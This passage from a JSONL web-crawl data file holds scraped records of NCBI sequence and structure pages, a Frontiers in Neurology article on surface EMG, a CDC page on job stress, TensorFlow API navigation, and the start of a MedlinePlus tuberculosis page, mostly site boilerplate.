"content_hash": "136d736aa5c68765c6fc66ada4c8285d56e434d04014ea7fb2e0187a23b60f42", "created_at": "2026-03-28T05:11:11.087370481Z"} +{"id": "fa383112-64f0-4601-aedd-1111a8278250", "source": "brain", "text": "TPA_inf: Coccidioides posadasii nat1 gene for arylamine N-acetyltransf - Nucleotide - NCBI\n\nTPA_inf: Coccidioides posadasii nat1 gene for arylamine N-acetyltransf - Nucleotide - NCBI\nWarning: The NCBI web site requires JavaScript to function. more...\nAn official website of the United States government\nHere's how you know\nThe .gov means it's official.\nFederal government websites often end in .gov or .mil. Before sharing sensitive information, make sure you're on a federal government site.\nThe site is secure.\nThe https:// ensures that you are connecting to the official website and that any information you provide is encrypted and transmitted securely.\nLog in\nShow account info\nClose\nAccount\nLogged in as:\nusername\nDashboard\nPublications\nAccount settings\nLog out\nAccess keys NCBI Homepage MyNCBI Homepage Main Content Main Navigation\nNucleotide\nSearch database All DatabasesAssemblyBiocollectionsBioProjectBioSampleBooksClinVarConserved DomainsdbGaPdbVarGeneGenomeGEO DataSetsGEO ProfilesGTRIdentical Protein GroupsMedGenMeSHNLM CatalogNucleotideOMIMPMCProteinProtein ClustersProtein Family ModelsPubChem BioAssayPubChem CompoundPubChem SubstancePubMedSNPSRAStructureTaxonomyToolKitToolKitAllToolKitBookgh\nSearch term\nSearch\nAdvanced\nHelp\nResult Filters\nGenBank\nFormat\nSummary\nGenBank\nGenBank (full)\nFASTA\nFASTA (text)\nGraphics\nASN.1\nRevision History\nAccession List\nGI List\nApply\nSend to:\nComplete Record\nCoding Sequences\nGene Features\nChoose Destination\nFile\nClipboard\nCollections\nAnalysis Tool\nFormat SummaryGenBankGenBank (full)FASTAASN.1XMLINSDSeq XMLTinySeq XMLFeature TableAccession ListGI ListGFF3\nShow GI\nCreate File\nAdd to Clipboard\nAdd to Collections\nChoose Sequence Analysis Tool\nBLAST\nPrimerBLAST\nSubmit\nDownload features.\nFormat FASTA NucleotideFASTA Protein\nCreate File\nDownload gene features.\nFormat FASTA Nucleotide\nCreate File\nTPA_inf: Coccidioides posadasii nat1 gene for arylamine N-acetyltransferase 1, strain RMSCC 2133, exons 1-2\nGenBank: BN001386.1\nFASTA Graphics\nno features Feature\nFirst\nPrevious\nNext\nLast\nDisplay: FASTA GenBank Help\nClose\nDetails\nSupplemental Content\nChange region shown\nWhole sequence\nSelected region\nfrom: to:\nUpdate View\nCustomize view\nBasic Features\nAll features\nGene, RNA, and CDS features only\nDisplay options\nShow sequence\nShow reverse complement\nShow gap features\nUpdate View\nAnalyze this sequence\nRun BLAST\nFind regions of similarity between this sequence and other sequences using BLAST.\nPick Primers\nDesign and test primers for this sequence using Primer-BLAST.\nHighlight Sequence Features\nOpens the Highlight Feature Bar and highlights feature annotations from the FEATURES table of the record. The Highlight Feature Bar can be used to navigate to and highlight other features and provides links to display the highlighted region separately. Links in the FEATURES table will also highlight the corresponding region of the sequence. More...\nFind in this Sequence\nFinds sub-sequences or patterns in the sequence and highlights the matching regions. The tool works with standard single letter nucleotide or protein codes including ambiguities and can match Prosite patterns in protein sequences. More...\nRelated information\nProtein\nProtein sequence from Nucleotide coding region\nPubMed\nPubMed articles cited by Nucleotide sequence record\nTaxonomy\nTaxonomy sequences associated with Nucleotide record\nPubMed (Weighted)\nLinks to pubmed\nRecent activity\nClear Turn Off Turn On\nTPA_inf: Coccidioides posadasii nat1 gene for arylamine N-acetyltransferase 1, s...\nTPA_inf: Coccidioides posadasii nat1 gene for arylamine N-acetyltransferase 1, strain RMSCC 2133, exons 1-2\ngi|300431512|tpe|BN001386.1|\nNucleotide\nYour browsing activity is empty.\nActivity recording is turned off.\nTurn recording back on\nSee more...\nClear\nFind\nFirst\nPrevious\nNext\nLast\nHelp\nClose\nFinds sub-sequence or patterns in the sequence and highlights the matching region. The tool works with standard single letter nucleotide or protein codes including ambiguities and can match Prosite patterns in protein sequences.\nMore...\nFollow NCBI\nTwitter\nFacebook\nLinkedIn\nGitHub\nNCBI Insights Blog\nConnect with NLM\nTwitter\nFacebook\nYoutube\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nHelp\nAccessibility\nCareers\nNLM\nNIH\nHHS\nUSA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/fa383112-64f0-4601-aedd-1111a8278250", "content_hash": "2986138942490d6017d0f0372d5afc2c39fb61538519e10d8705e825fb67f551", "created_at": "2026-03-28T05:11:11.067152581Z"} +{"id": "f7a3ed2e-643e-4fa0-9ff3-706e17a2af52", "source": "brain", "text": "SPARCLE Architecture Viewer\n\nSPARCLE Architecture Viewer\nSkip to main page content\nU.S. National Library of Medicine\nNCBI National Center for Biotechnology Information\nMy NCBI Log in Log out\nAccesskeys\nSPARCLE >\nArchitecture Viewer\nPopular\nPubMed\nPMC\nPubMed Health\nBookshelf\nPubChem\nBLAST\nGene\nNucleotide\nProtein\nConnect\nFacebook\nTwitter\nLinkedIn\nYouTube\nGitHub\nNews RSS\nBlog\nContact\nSupport Center\nResources\nLiterature\nHealth\nGenomes\nGenes\nProteins\nChemicals\nActions\nSubmit\nDownload\nLearn\nDevelop\nAnalyze\nResearch\nNational Center for Biotechnology Information\n8600 Rockville Pike, Bethesda MD, 20894 USA\nDepartment of Health and Human Services National Institutes of Health National Library of Medicine USA.gov\nAbout NCBI Polices and Guidelines", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/f7a3ed2e-643e-4fa0-9ff3-706e17a2af52", "content_hash": "e7f155e2e7d5dc85c580ff3124a996b50ef7996f85f01c6a2e49a3d7379456b1", "created_at": "2026-03-28T05:11:11.063400101Z"} +{"id": "d1d0730a-b3df-490d-a0bb-5bdfccc4c4a5", "source": "brain", "text": "Frontiers | Analysis and Biophysics of Surface EMG for Physiotherapists and Kinesiologists: Toward a Common Language With Rehabilitation Engineers\n\nFrontiers | Analysis and Biophysics of Surface EMG for Physiotherapists and Kinesiologists: Toward a Common Language With Rehabilitation Engineers\nFrontiers in Neurology\nAbout us\nAbout us\nWho we are\nMission and values\nHistory\nLeadership\nAwards\nImpact and progress\nFrontiers' impact\nOur annual reports\nThought leadership\nPublishing model\nHow we publish\nOpen access\nPeer review\nResearch integrity\nResearch Topics\nFAIR\u00b2 Data Management\nFee policy\nServices\nSocieties\nNational consortia\nInstitutional partnerships\nCollaborators\nMore from Frontiers\nFrontiers Forum\nFrontiers Planet Prize\nPress office\nSustainability\nCareer opportunities\nContact us\nAll journalsAll articlesSubmit your research\nSearch\nFrontiers in Neurology\nSections\nSections\nApplied Neuroimaging\nArtificial Intelligence in Neurology\nAutonomic Disorders\nCognitive and Behavioral Neurology\nDementia and Neurodegenerative Diseases\nDiagnostic Neuropathology\nEndovascular and Interventional Neurology\nEpilepsy\nExperimental Therapeutics\nHeadache and Neurogenic Pain\nMovement Disorders\nMultiple Sclerosis and Neuroimmunology\nNeuro-Oncology and Neurosurgical Oncology\nNeuro-Ophthalmology\nNeuro-Otology\nNeurocritical and Neurohospitalist Care\nNeuroepidemiology\nNeurogenetics\nNeuroinfectious Diseases\nNeurological Biomarkers\nNeuromuscular Disorders and Peripheral Neuropathies\nNeurorehabilitation\nNeurotechnology\nNeurotrauma\nPediatric Neurology\nSleep Disorders\nStroke\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nAbout us\nAbout us\nWho we are\nMission and values\nHistory\nLeadership\nAwards\nImpact and progress\nFrontiers' impact\nOur annual reports\nThought leadership\nPublishing model\nHow we publish\nOpen access\nPeer review\nResearch integrity\nResearch Topics\nFAIR\u00b2 Data Management\nFee policy\nServices\nSocieties\nNational consortia\nInstitutional partnerships\nCollaborators\nMore from Frontiers\nFrontiers Forum\nFrontiers Planet Prize\nPress office\nSustainability\nCareer opportunities\nContact us\nAll journalsAll articlesSubmit your research\nFrontiers in Neurology\nSections\nSections\nApplied Neuroimaging\nArtificial Intelligence in Neurology\nAutonomic Disorders\nCognitive and Behavioral Neurology\nDementia and Neurodegenerative Diseases\nDiagnostic Neuropathology\nEndovascular and Interventional Neurology\nEpilepsy\nExperimental Therapeutics\nHeadache and Neurogenic Pain\nMovement Disorders\nMultiple Sclerosis and Neuroimmunology\nNeuro-Oncology and Neurosurgical Oncology\nNeuro-Ophthalmology\nNeuro-Otology\nNeurocritical and Neurohospitalist Care\nNeuroepidemiology\nNeurogenetics\nNeuroinfectious Diseases\nNeurological Biomarkers\nNeuromuscular Disorders and Peripheral Neuropathies\nNeurorehabilitation\nNeurotechnology\nNeurotrauma\nPediatric Neurology\nSleep Disorders\nStroke\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nFrontiers in Neurology\nSections\nSections\nApplied Neuroimaging\nArtificial Intelligence in Neurology\nAutonomic Disorders\nCognitive and Behavioral Neurology\nDementia and Neurodegenerative Diseases\nDiagnostic Neuropathology\nEndovascular and Interventional Neurology\nEpilepsy\nExperimental Therapeutics\nHeadache and Neurogenic Pain\nMovement Disorders\nMultiple Sclerosis and Neuroimmunology\nNeuro-Oncology and Neurosurgical Oncology\nNeuro-Ophthalmology\nNeuro-Otology\nNeurocritical and Neurohospitalist Care\nNeuroepidemiology\nNeurogenetics\nNeuroinfectious Diseases\nNeurological Biomarkers\nNeuromuscular Disorders and Peripheral Neuropathies\nNeurorehabilitation\nNeurotechnology\nNeurotrauma\nPediatric Neurology\nSleep Disorders\nStroke\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nSubmit your researchSearch\nYour new experience awaits. Try the new design now and help us make it even better\nSwitch to the new experience\nMETHODS article\nFront. Neurol., 15 October 2020\nSec. Neurorehabilitation\nVolume 11 - 2020 | https://doi.org/10.3389/fneur.2020.576729\nThis article is part of the Research TopicSurface Electromyography: Barriers Limiting Widespread use of sEMG in Clinical Assessment and NeurorehabilitationView all 19 articles\nAnalysis and Biophysics of Surface EMG for Physiotherapists and Kinesiologists: Toward a Common Language With Rehabilitation Engineers\nLara McManus1* Giuseppe De Vito2 Madeleine M. Lowery1\n1Neuromuscular Systems Laboratory, School of Electrical and Electronic Engineering, University College Dublin, Dublin, Ireland\n2Neuromuscular Physiology Laboratory, Department of Biomedical Sciences, University of Padova, Padova, Italy\nRecent decades have seen a move toward evidence-based medicine to inform the clinical decision-making process with reproducible findings from high-quality research studies. There is a need for objective, quantitative measurement tools to increase the reliability and reproducibility of studies evaluating the efficacy of healthcare interventions, particularly in the field of physical and rehabilitative medicine. Surface electromyography (sEMG) is a non-invasive measure of muscle activity that is widely used in research but is under-utilized as a clinical tool in rehabilitative medicine. Other types of electrophysiological signals (e.g., electrocardiography, electroencephalography, intramuscular EMG) are commonly recorded by healthcare practitioners, however, sEMG has yet to successfully transition to clinical practice. Surface EMG has clear clinical potential as an indicator of muscle activation, however reliable extraction of information requires knowledge of the appropriate methods for recording and analyzing sEMG and an understanding of the underlying biophysics. These concepts are generally not covered in sufficient depth in the standard curriculum for physiotherapists and kinesiologists to encourage a confident use of sEMG in clinical practice. In addition, the common perception of sEMG as a specialized topic means that the clinical potential of sEMG and the pathways to application in practice are often not apparent. The aim of this paper is to address barriers to the translation of sEMG by emphasizing its benefits as an objective clinical tool and by overcoming its perceived complexity. The many useful clinical applications of sEMG are highlighted and examples provided to illustrate how it can be implemented in practice. The paper outlines how fundamental biophysics and EMG signal processing concepts could be presented to a non-technical audience. An accompanying tutorial with sample data and code is provided which could be used as a tool for teaching or self-guided learning. The importance of observing sEMG in routine use in clinic is identified as an essential part of the effective communication of sEMG recording and signal analysis methods. Highlighting the advantages of sEMG as a clinical tool and reducing its perceived complexity could bridge the gap between theoretical knowledge and practical application and provide the impetus for the widespread use of sEMG in clinic.\nIntroduction\nSurface EMG is currently an under-utilized clinical tool in rehabilitative medicine, despite its clear potential as a non-invasive measure of muscle activity. It is often considered more complex to analyze than intramuscular EMG, a technique commonly applied in clinical neurology, as parameters of direct clinical relevance cannot be readily extracted (", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/d1d0730a-b3df-490d-a0bb-5bdfccc4c4a5", "content_hash": "c9eab7e02005aba769b4bc8cb2609860d40746333bc291307f376cadda4f02f2", "created_at": "2026-03-28T05:11:10.982601660Z"} +{"id": "78f6392c-0094-4f4f-ad2b-4241729a3e71", "source": "brain", "text": "About Stress at Work | Stress | CDC\n\nAbout Stress at Work | Stress | CDC\nSkip directly to site content Skip directly to search\nAn official website of the United States government\nHere's how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( ) or https:// means you've safely connected to the .gov website. Share sensitive information only on official, secure websites.\nNational Institute for Occupational Safety and Health (NIOSH) Stress at Work\nExplore This Topic\nSearch\nSearch\nClear\nSearch\nFor Everyone\nStress and Work\nQuality of Worklife Questionnaire\nSuicide and Occupation\nTraumatic Incident Stress\nView all\nHome\nsearch\nclear\nsearch\nNational Institute for Occupational Safety and Health (NIOSH)\nStress\nMenu\nclear\nsearch\nFor Everyone\nStress and Work\nQuality of Worklife Questionnaire\nSuicide and Occupation\nTraumatic Incident Stress\nView All\nStress\nAbout Stress at Work\nFeb. 13, 2024\nLanguages\nEspa\u00f1ol\nEspa\u00f1ol (Puerto Rico)\nKey points\nJob stress happens when the requirements of a job do not match the capabilities, resources, or needs of the worker.\nJob stress can lead to poor health and even injury.\nOverview\nJob stress can be defined as the harmful physical and emotional responses that occur when the requirements of a job do not match the capabilities, resources, or needs of the worker. Job stress can lead to poor health and even injury.\nRelated NIOSH research\nUnderstanding the influence of what are commonly termed \"work organization\" or \"psychosocial\" factors on stress, illness, and injury.\nIdentifying ways to redesign jobs to create safer and healthier workplaces.\nRelated NIOSH activities\nDefining characteristics of healthy work organizations\nDeveloping work organization interventions to promote safe and healthy work conditions\nSurveilling the changing nature of work\nDesigning work schedule to protect the health and well-being of workers\nStudying the effects of new organizational policies and practices on worker health and safety\nExamining changing worker demographics (race/ethnicity, sex, and age) and worker safety and health\nInvestigating work organization, cardiovascular disease, and depression\nResearching psychological violence in the workplace\nPublishing educational documents on work, stress, and health\nJob stress and NORA\nOrganization of Work Team\nThe National Occupational Research Agenda (NORA), Organization of Work Team worked with partners to identify essential research and other requirements to better understand how work organization is changing, the safety and health implications of these changes, and prevention measures. The team developed the NIOSH report \"The Changing Organization of Work and the Safety and Health of Working People.\"\nHealthy Work Design and Well-Being Program\nThe NORA Healthy Work Design and Well-Being Program was developed to protect and advance worker safety, health, and well-being by improving the design of work, management practices, and the physical and psychosocial work environment. Job stress is identified as a priority area of the program.\nResources\nStress...At Work Booklet - DHHS (NIOSH) Publication No. 99 This booklet highlights knowledge about the causes of stress at work and outlines steps that can be taken to prevent job stress.\nWorker Health Chartbook 2004: Anxiety, Stress, and Neurotic Disorders - DHHS (NIOSH) Publication No. 2004-146 (2004) Provides data for anxiety and stress disorders based on magnitude and trend, age, sex race/ethnicity, severity, occupation, and industry.\nRelated NIOSH webpages\nAircraft Safety and Health - Job Stress\nCardiovascular Disease and Work\nNIOSH Quality of Worklife Questionnaire\nWork and Fatigue\nSearch the NIOSHTIC-2 search results on job stress to find additional occupational safety and health publications on this topic from NIOSH or a NIOSH-supported projects.\nVideos\nTranscript Low Resolution Video\nOn This Page\nOverview\nJob stress and NORA\nResources\nFeb. 13, 2024\nSources Print Share\nFacebook LinkedIn Twitter Syndicate\nContent Source:\nNational Institute for Occupational Safety and Health\nNIOSH\nThe Occupational Safety and Health Act of 1970 established NIOSH as a research agency focused on the study of worker safety and health, and empowering employers and workers to create safe and healthy workplaces.\nView All\nFor Everyone\nStress and Work\nQuality of Worklife Questionnaire\nSuicide and Occupation\nTraumatic Incident Stress\nSign up for Email Updates\nContact Us\nContact Us\nCall \nContact CDC\nAbout CDC\nAbout CDC\nPressroom\nOrganization\nBudget & Funding\nCareers & Jobs\nPolicies\nAccessibility\nExternal Links\nPrivacy\nWeb Policies\nFOIA\nOIG\nNo Fear Act\nNondiscrimination\nVulnerability Disclosure Policy\nLanguages\nLanguages\nEspa\u00f1ol\nLanguage Assistance\nEspa\u00f1ol\n\u7e41\u9ad4\u4e2d\u6587\nTi\u1ebfng Vi\u1ec7t\n\ud55c\uad6d\uc5b4\nTagalog\n\u0420\u0443\u0441\u0441\u043a\u0438\u0439\n\u0627\u0644\u0639\u0631\u0628\u064a\u0629\nKrey\u00f2l Ayisyen\nFran\u00e7ais\nPolski\nPortugu\u00eas\nItaliano\nDeutsch\n\u65e5\u672c\u8a9e\n\u0641\u0627\u0631\u0633\u06cc\nEnglish\nArchive\nCDC Archive\nPublic Health Publications\nContact Us\nContact Us\nCall \nContact CDC\nAbout CDC\nPressroom\nOrganization\nBudget & Funding\nCareers & Jobs\nAbout CDC\nPolicies\nAccessibility\nExternal Links\nPrivacy\nWeb Policies\nFOIA\nOIG\nNo Fear Act\nNondiscrimination\nVulnerability Disclosure Policy\nLanguages\nLanguages\nEspa\u00f1ol\nLanguage Assistance\nEspa\u00f1ol\n\u7e41\u9ad4\u4e2d\u6587\nTi\u1ebfng Vi\u1ec7t\n\ud55c\uad6d\uc5b4\nTagalog\n\u0420\u0443\u0441\u0441\u043a\u0438\u0439\n\u0627\u0644\u0639\u0631\u0628\u064a\u0629\nKrey\u00f2l Ayisyen\nFran\u00e7ais\nPolski\nPortugu\u00eas\nItaliano\nDeutsch\n\u65e5\u672c\u8a9e\n\u0641\u0627\u0631\u0633\u06cc\nEnglish\nArchive\nCDC Archive\nPublic Health Publications\nHHS.gov USA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/78f6392c-0094-4f4f-ad2b-4241729a3e71", "content_hash": "60bd920d6eeab29395237c0cccc5513c2c6eb6f80edb8875f1553c5d224fc1e1", "created_at": "2026-03-28T05:11:10.910390924Z"} +{"id": "98445ece-411f-4542-9d43-16c4308a73e2", "source": "brain", "text": "3FFN: Crystal structure of calcium-free human gelsolin\n\n3FFN: Crystal structure of calcium-free human gelsolin\nNCBI\nNational Center for\nBiotechnology Information\nSearch\n3FFN: Crystal structure of calcium-free human gelsolin\nPDB ID: 3FFNDownload\nMMDB ID: 77149\nPDB Deposition Date: 2008/12/4\nUpdated in MMDB: 2017/11\nExperimental Method:\nx-ray diffraction\nResolution: 3 \u00c5\nSource Organism:\nHomo sapiens\nSimilar Structures:\nVAST+\nDownload sequence data\nMolecular Components in 3FFN\nLabel\nCount\nMolecule\nProteins (2 molecules)\nA\nB\n2\nGelsolin\n(Gene symbol: GSN)\n* Click molecule labels to explore molecular sequence information.\nCiting MMDB\nMadej T, Lanczycki CJ, Zhang D, Thiessen PA, Geer RC, Marchler-Bauer A, Bryant SH. \" MMDB and VAST+: tracking structural similarities between macromolecular complexes. Nucleic Acids Res. 2014 Jan; 42(Database issue):D297-303", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/98445ece-411f-4542-9d43-16c4308a73e2", "content_hash": "681d01d6b00a8a8875014615ff5e6d050f207ae8e9fd6b3621309dd265fb3682", "created_at": "2026-03-28T05:11:10.824798508Z"} +{"id": "7a30ac0c-de51-4b5d-b0a0-1d1bbc67b5f5", "source": "brain", "text": "tf.raw_ops.ConjugateTranspose | TensorFlow v2.5.0\n\ntf.raw_ops.ConjugateTranspose | TensorFlow v2.5.0\nSkip to main content\nInstall Learn\nIntroduction\nNew to TensorFlow?\nTutorials\nLearn how to use TensorFlow with end-to-end examples\nGuide\nLearn framework concepts and components\nLearn ML\nEducational resources to master your path with TensorFlow\nAPI\nTensorFlow (v2.16.1)\nVersions\u2026\nTensorFlow.js\nTensorFlow Lite\nTFX\nEcosystem\nLIBRARIES\nTensorFlow.js\nDevelop web ML applications in JavaScript\nTensorFlow Lite\nDeploy ML on mobile, microcontrollers and other edge devices\nTFX\nBuild production ML pipelines\nAll libraries\nCreate advanced models and extend TensorFlow\nRESOURCES\nModels & datasets\nPre-trained models and datasets built by Google and the community\nTools\nTools to support and accelerate TensorFlow workflows\nResponsible AI\nResources for every stage of the ML workflow\nRecommendation systems\nBuild recommendation systems with open source tools\nCommunity\nGroups\nUser groups, interest groups and mailing lists\nContribute\nGuide for contributing to code and documentation\nBlog\nStay up to date with all things TensorFlow\nForum\nDiscussion platform for the TensorFlow community\nWhy TensorFlow\nAbout\nCase studies\n/\nEnglish\n\u4e2d\u6587 \u2013 \u7b80\u4f53\nGitHub Sign in\nTensorFlow v2.5.0\nOverview Python C++ Java\nInstall\nLearn\nMore\nAPI\nMore\nOverview\nPython\nC++\nJava\nEcosystem\nMore\nCommunity\nMore\nWhy TensorFlow\nMore\nGitHub\nOverview\nAll Symbols\nPython v2.5.0\ntf\nOverview\nAggregationMethod\nCriticalSection\nDeviceSpec\nGradientTape\nGraph\nIndexedSlices\nIndexedSlicesSpec\nModule\nOperation\nOptionalSpec\nRaggedTensor\nRaggedTensorSpec\nRegisterGradient\nSparseTensorSpec\nTensor\nTensorArray\nTensorArraySpec\nTensorShape\nTensorSpec\nTypeSpec\nUnconnectedGradients\nVariable\nVariable.SaveSliceInfo\nVariableAggregation\nVariableSynchronization\nargsort\nbatch_to_space\nbitcast\nboolean_mask\nbroadcast_dynamic_shape\nbroadcast_static_shape\nbroadcast_to\ncase\ncast\nclip_by_global_norm\nclip_by_norm\nclip_by_value\nconcat\ncond\nconstant\nconstant_initializer\ncontrol_dependencies\nconvert_to_tensor\ncustom_gradient\ndevice\ndynamic_partition\ndynamic_stitch\nedit_distance\neinsum\nensure_shape\nexecuting_eagerly\nexpand_dims\nextract_volume_patches\neye\nfill\nfingerprint\nfoldl\nfoldr\nfunction\ngather\ngather_nd\nget_logger\nget_static_value\ngrad_pass_through\ngradients\ngroup\nguarantee_const\nhessians\nhistogram_fixed_width\nhistogram_fixed_width_bins\nidentity\nidentity_n\ninit_scope\ninside_function\nis_tensor\nlinspace\nload_library\nload_op_library\nmake_ndarray\nmake_tensor_proto\nmap_fn\nmeshgrid\nname_scope\nno_gradient\nno_op\nnondifferentiable_batch_function\nnorm\nnumpy_function\none_hot\nones\nones_initializer\nones_like\npad\nparallel_stack\nprint\npy_function\nquantize_and_dequantize_v4\nrandom_normal_initializer\nrandom_uniform_initializer\nrange\nrank\nrealdiv\nrecompute_grad\nregister_tensor_conversion_function\nrepeat\nrequired_space_to_batch_paddings\nreshape\nreverse\nreverse_sequence\nroll\nscan\nscatter_nd\nsearchsorted\nsequence_mask\nshape\nshape_n\nsize\nslice\nsort\nspace_to_batch\nspace_to_batch_nd\nsplit\nsqueeze\nstack\nstop_gradient\nstrided_slice\nswitch_case\ntensor_scatter_nd_add\ntensor_scatter_nd_max\ntensor_scatter_nd_min\ntensor_scatter_nd_sub\ntensor_scatter_nd_update\ntensordot\ntile\ntimestamp\ntranspose\ntruncatediv\ntruncatemod\ntuple\ntype_spec_from_value\nunique\nunique_with_counts\nunravel_index\nunstack\nvariable_creator_scope\nvectorized_map\nwhere\nwhile_loop\nzeros\nzeros_initializer\nzeros_like\ntf.audio\nOverview\ndecode_wav\nencode_wav\ntf.autodiff\nOverview\nForwardAccumulator\ntf.autograph\nOverview\nset_verbosity\nto_code\nto_graph\ntrace\nexperimental\nOverview\nFeature\ndo_not_convert\nset_loop_options\ntf.bitwise\nOverview\nbitwise_and\nbitwise_or\nbitwise_xor\ninvert\nleft_shift\nright_shift\ntf.compat\nOverview\nas_bytes\nas_str\nas_str_any\nas_text\ndimension_at_index\ndimension_value\nforward_compatibility_horizon\nforward_compatible\npath_to_str\nv1\nOverview\nAttrValue\nAttrValue.ListValue\nConditionalAccumulator\nConditionalAccumulatorBase\nConfigProto\nConfigProto.DeviceCountEntry\nConfigProto.Experimental\nDeviceSpec\nDimension\nEvent\nFixedLengthRecordReader\nGPUOptions\nGPUOptions.Experimental\nGPUOptions.Experimental.VirtualDevices\nGraphDef\nGraphKeys\nGraphOptions\nHistogramProto\nIdentityReader\nInteractiveSession\nLMDBReader\nLogMessage\nMetaGraphDef\nMetaGraphDef.CollectionDefEntry\nMetaGraphDef.MetaInfoDef\nMetaGraphDef.MetaInfoDef.FunctionAliasesEntry\nMetaGraphDef.SignatureDefEntry\nNameAttrList\nNameAttrList.AttrEntry\nNodeDef\nNodeDef.AttrEntry\nNodeDef.ExperimentalDebugInfo\nOptimizerOptions\nPrint\nReaderBase\nRunMetadata\nRunMetadata.FunctionGraphs\nRunOptions\nRunOptions.Experimental\nRunOptions.Experimental.RunHandlerPoolOptions\nSession\nSessionLog\nSparseConditionalAccumulator\nSparseTensorValue\nSummary\nSummary.Audio\nSummary.Image\nSummary.Value\nSummaryMetadata\nSummaryMetadata.PluginData\nTFRecordReader\nTensorInfo\nTensorInfo.CompositeTensor\nTensorInfo.CooSparse\nTextLineReader\nVariable\nVariableAggregation\nVariableScope\nWholeFileReader\nadd_check_numerics_ops\nadd_to_collection\nadd_to_collections\nall_variables\narg_max\narg_min\nargmax\nargmin\nassert_equal\nassert_greater\nassert_greater_equal\nassert_integer\nassert_less\nassert_less_equal\nassert_near\nassert_negative\nassert_non_negative\nassert_non_positive\nassert_none_equal\nassert_positive\nassert_rank\nassert_rank_at_least\nassert_rank_in\nassert_scalar\nassert_type\nassert_variables_initialized\nassign\nassign_add\nassign_sub\nbatch_gather\nbatch_scatter_update\nbatch_to_space\nbatch_to_space_nd\nbincount\nboolean_mask\ncase\nclip_by_average_norm\ncolocate_with\ncond\nconfusion_matrix\nconstant\ncontainer\ncontrol_flow_v2_enabled\nconvert_to_tensor\nconvert_to_tensor_or_indexed_slices\nconvert_to_tensor_or_sparse_tensor\ncount_nonzero\ncount_up_to\ncreate_partitioned_variables\ndecode_csv\ndecode_raw\ndelete_session_tensor\ndepth_to_space\ndevice\ndisable_control_flow_v2\ndisable_eager_execution\ndisable_resource_variables\ndisable_tensor_equality\ndisable_v2_behavior\ndisable_v2_tensorshape\nenable_control_flow_v2\nenable_eager_execution\nenable_resource_variables\nenable_tensor_equality\nenable_v2_behavior\nenable_v2_tensorshape\nexecuting_eagerly\nexecuting_eagerly_outside_functions\nexpand_dims\nextract_image_patches\nfixed_size_partitioner\nfloor_div\nfoldl\nfoldr\ngather\ngather_nd\nget_collection\nget_collection_ref\nget_default_graph\nget_default_session\nget_local_variable\nget_seed\nget_session_handle\nget_session_tensor\nget_variable\nget_variable_scope\nglobal_variables\nglobal_variables_initializer\ngradients\nhessians\ninitialize_all_tables\ninitialize_all_variables\ninitialize_local_variables\ninitialize_variables\nis_variable_initialized\nload_file_system_library\nlocal_variables\nlocal_variables_initializer\nmake_template\nmap_fn\nmin_max_variable_partitioner\nmodel_variables\nmoving_average_variables\nmultinomial\nno_regularizer\nnorm\nones_like\nop_scope\npad\nparse_example\nparse_single_example\nplaceholder\nplaceholder_with_default\npy_func\nquantize_v2\nrandom_normal_initializer\nrandom_poisson\nrandom_uniform_initializer\nreduce_all\nreduce_any\nreduce_join\nreduce_logsumexp\nreduce_max\nreduce_mean\nreduce_min\nreduce_prod\nreduce_sum\nreport_uninitialized_variables\nreset_default_graph\nresource_variables_enabled\nreverse_sequence\nscalar_mul\nscan\nscatter_add\nscatter_div\nscatter_max\nscatter_min\nscatter_mul\nscatter_nd_add\nscatter_nd_sub\nscatter_nd_update\nscatter_sub\nscatter_update\nserialize_many_sparse\nserialize_sparse\nset_random_seed\nsetdiff1d\nshape\nsize\nspace_to_batch\nspace_to_depth\nsparse_add\nsparse_concat\nsparse_matmul\nsparse_merge\nsparse_placeholder\nsparse_reduce_max\nsparse_reduce_max_sparse\nsparse_reduce_sum\nsparse_reduce_sum_sparse\nsparse_segment_mean\nsparse_segment_sqrt_n\nsparse_segment_sum\nsparse_split\nsparse_to_dense\nsqueeze\nstring_split\nstring_to_hash_bucket\nstring_to_number\nsubstr\ntables_initializer\nto_bfloat16\nto_complex128\nto_complex64\nto_double\nto_float\nto_int32\nto_int64\ntrainable_variables\ntranspose\ntruncated_normal_initializer\ntuple\nuniform_unit_scaling_initializer\nvariable_axis_size_partitioner\nvariable_creator_scope\nvariable_op_scope\nvariable_scope\nvariables_initializer\nverify_tensor_all_finite\nwhere\nwhile_loop\nwrap_functi", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/7a30ac0c-de51-4b5d-b0a0-1d1bbc67b5f5", "content_hash": "f17ac7e0bd33b315dc00bfdc5507ad989cc831f4bf5ec53d0e277be195a99e5e", "created_at": "2026-03-28T05:11:10.769263139Z"} +{"id": "38224a8f-3fd0-4a68-9c39-d02992904a7d", "source": "brain", "text": "Tomar medicamentos para tratar la tuberculosis: MedlinePlus enciclopedia m\u00e9dica\n\nTomar medicamentos para tratar la tuberculosis: MedlinePlus enciclopedia m\u00e9dica\nOmita y vaya al Contenido\nUn sitio oficial del Gobierno de Estados Unidos\nAs\u00ed es como usted puede verificarlo\nAs\u00ed es como usted puede verificarlo\nLos sitios web oficiales usan .gov\nUn sitio web .gov pertenece a una organizaci\u00f3n oficial del Gobierno de Estados Unidos.\nLos sitios web seguros .gov usan HTTPS\nUn candado ( 